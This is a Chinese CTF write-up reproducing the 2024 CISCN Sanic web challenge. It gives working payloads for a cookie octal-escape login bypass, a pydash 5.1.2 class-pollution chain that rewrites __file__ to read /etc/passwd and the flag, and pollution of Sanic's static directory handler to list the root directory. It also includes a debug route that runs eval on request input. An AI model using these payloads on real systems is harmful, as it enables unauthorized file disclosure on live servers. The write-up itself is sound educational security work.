2024CISCN Sanic复现

Sanic框架介绍

Sanic 是一个基于 Python 的高性能异步 Web 框架,利用 Python 的 async/await 语法实现非阻塞、高并发请求处理。它设计轻量、易用,支持快速定义路由、中间件和 WebSocket,适合构建现代化、响应迅速的 Web 应用和 API,性能在 Python Web 框架中处于领先地位

简单示例

1
2
3
4
5
6
7
8
9
10
11
from sanic import Sanic
from sanic.response import json

app = Sanic("MyApp")

@app.route("/")
async def index(request):
return json({"message": "Hello, Sanic!"})

if __name__ == "__main__":
app.run(host="127.0.0.1", port=8000)

题目复现

这里我们用ctfshow的环境来复现

起点

打开网站后访问/src获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

发现/admin路由有pydash.set_(pollute, key, value),且题目特意标明pydash==5.1.2,网上搜索可知可以用于参数污染,我们尝试污染__file__,但是需要先满足request.ctx.session.get('admin') == True

先看/login

1
2
3
4
5
6
7
8
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

在cookie接受参数user,当user.lower() == 'adm;n'时返回true,但是直接传adm;n肯定是不行的,分号会截断内容

环境准备

这时我们可以分析一下代码,简单讲一下环境配置

在源码中可以看到导入的依赖文件

先创建并激活虚拟环境

1
2
python -m venv venv
venv\Scripts\activate

接着安装依赖

1
pip install sanic sanic-session pydash==5.1.2

然后PyCharm打开site-packages文件即可

绕过方法

sanic/cookies/request.py可以看到有关cookie的解码逻辑

可以看到这里将八进制转换为ASCII编码,然后开头要求字符串两端为双引号,那就很好绕过了,分号的八进制编码为\073,在/login处传入Cookie

1
user="adm\073n"

成功登录

接着就是源码里的if key and value and type(key) is str and '_.' not in key:判断,要求不能出现_.,继续分析代码,在

pydash/utilities.py找到方法to_path_tokens

跟进RE_PATH_KEY_DELIM,可以看到

正则里的 (?<!\\) 是“负向零宽断言”,意思是匹配点号的这个位置,前面不能是单个反斜杠 \,然后(?:\\\\)* 是匹配偶数个反斜杠,因为每两个 \ 表示一个反斜杠,两个反斜杠的成对出现会让点号有效,也就是说前面有成对的反斜杠不算转义,例如__init__\\\\.__globals__会解析为__init__.__globals__,解析时点号正常分割

_.的问题就解决了,可以开始进行污染链的构造了

污染链构造

先在/login处传入Cookie,获取session的值,浏览器会自动保存

接着我们构造链子读取文件,用HackBar的话记得要将enctype改为application/json

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

然后重新访问/src目录,成功污染

尝试污染路径为根目录下的flag,发现不行,说明flag要么不在这里要么不叫这个名字,而污染__file__只能是读取文件,那先放着,换个思路试试

继续分析,在源码处可以看到app.static这个注册路由,我们在本地site-packages目录创建个文件(main.py),把题目源码复制进去,方便后续分析

先看看static的定义

在注释处可以看到有两个关键参数说明

意思大概是directory_view为true时,会开启列目录功能,而directory_handler可以获取指定的目录

跟进directory_handler,这里我们要找directory_handler是如何定义的

可以看到有个方法DirectoryHandler,继续跟进看看

成功找到值的初始化定义,我们想办法污染这两个参数,让directory_view为true,然后directory为我们想要的目录

但是我们应该通过什么进行污染,为了进一步分析,我们需要在本地进行调试,这里简单改一下源码(main.py),把鉴权代码全部注释掉方便后续调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
# Session(app)


# @app.route('/', methods=['GET', 'POST'])
# async def index(request):
# return html(open('static/index.html').read())


# @app.route("/login")
# async def login(request):
# user = request.cookies.get("user")
# if user.lower() == 'adm;n':
# request.ctx.session['admin'] = True
# return text("login success")
#
# return text("login fail")


@app.route("/src", methods=['GET', 'POST'])
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
# if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

# return text("forbidden")


if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)# 修改地址为本地

在src处打断点

然后重新访问/src,我们要分析的是与路由有关的方法和变量,需要知道的是,app.router 是 Sanic 中管理所有路由的对象,负责存储和调度请求对应的处理函数,找到app.router

有点多,看着会有点晕,不过因为directory_view是在static方法下,所以我们找有关static的路由即可,发现name_indexroutes_all等符合条件

然后我们修改src代码,方便后续调试

1
2
3
4
@app.route("/src", methods=['GET', 'POST'])
async def src(request):
eval(request.args.get('code'))# 加个eval用于执行代码
return text(open(__file__).read())

name_index 是一个内部字典,键是路由的名字,值是这个路由对应的路由对象。我们可以通过app.router.name_index[]来查看注册路由

1
http://127.0.0.1:8000/src?code=print(app.router.name_index)

__mp_main__.static对应的路径为static/<__file_uri__:path>,意味着它会匹配 /static/ 目录下的文件请求,我们可以通过app.router.name_index['__mp_main__.static']查看具体信息

接下来分析如何调用到DirectoryHandler里,全局搜索name_index,看看是如何定义的

我们在这里打个断点,然后回到main.py进行调试分析

可以看到具体的属性

我们直接读取directory_view的值看看

1
http://127.0.0.1:8000/src?code=print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)

可以看到返回值为false,尝试污染参数试试,因为__mp_main__.static这个路由名称本身就含有.,点号不是分隔符,因此用两个反斜杠即可

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":true}

再次查看参数值,可以看到成功污染

在当前目录新建/static/目录(随便放个文件),然后浏览器访问测试,成功查看到内容

如果我们尝试用routes_all的话会发现不行,可以自行测试看看

接下来就是污染directory的路径,但是却发现报错了

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory","value":"/"}

说明不能这样子污染,我们继续调试代码,发现是directory对象的parts属性控制的值,但这是个元组,不能直接修改

那我们回到directory.py分析directory是如何定义的,可以看到有个Path方法

跟进Path方法,然后定位到__new__ 方法,当用户通过 Path() 创建路径对象时会自动调用__new__方法

这里有个需要注意的点,如果你用的Python版本比较新(例如Python3.12),则__new__ 方法内容如下

完全没有可利用的点,在这里卡了很久,跟网上的教程案例不太一样,后面发现是新版本修复了这里,可以通过降低Python版本解决(如Python3.9),但是之前用Python3.12创建的venv环境就不能用了,需要重新创建一个,有点麻烦

发现调用了_from_parts方法,继续跟进

其中self._parts = parts 里的 parts_parse_args 方法解析传入路径参数后得到的路径组成部分列表,假如args('usr/local/bin',),那么_parse_args 会把它切分为三部分:drv为空,root为空,parts 为 ['usr', 'local', 'bin']

parts会把值传给_parts,我们看能不能控制,尝试访问_parts属性

返回了数组而不是元组,也就是说可以进行修改了,我们可以通过污染_parts来指定目录

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":["E:\\test"]}

传入后再重新读取_parts属性,成功修改

本地调试完了,咱们重新回到ctfshow

最终利用

先访问/login传入Cookie登录

1
user="adm\073n"

然后污染directory_view为true

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":true}

接着污染directory._parts为根目录

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":["/"]}

再次访问/static/查看根目录内容

可以看到flag名为24bcbd0192e591d6ded1_flag,我们污染__file__为目标文件路径

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"}

然后访问/src读取即可

至此复现完成,前前后后在网上参考了很多资料,确实挺难的,不过收获挺大,继续加油

作者

WayneJoon.H

发布于

2025-10-08

许可协议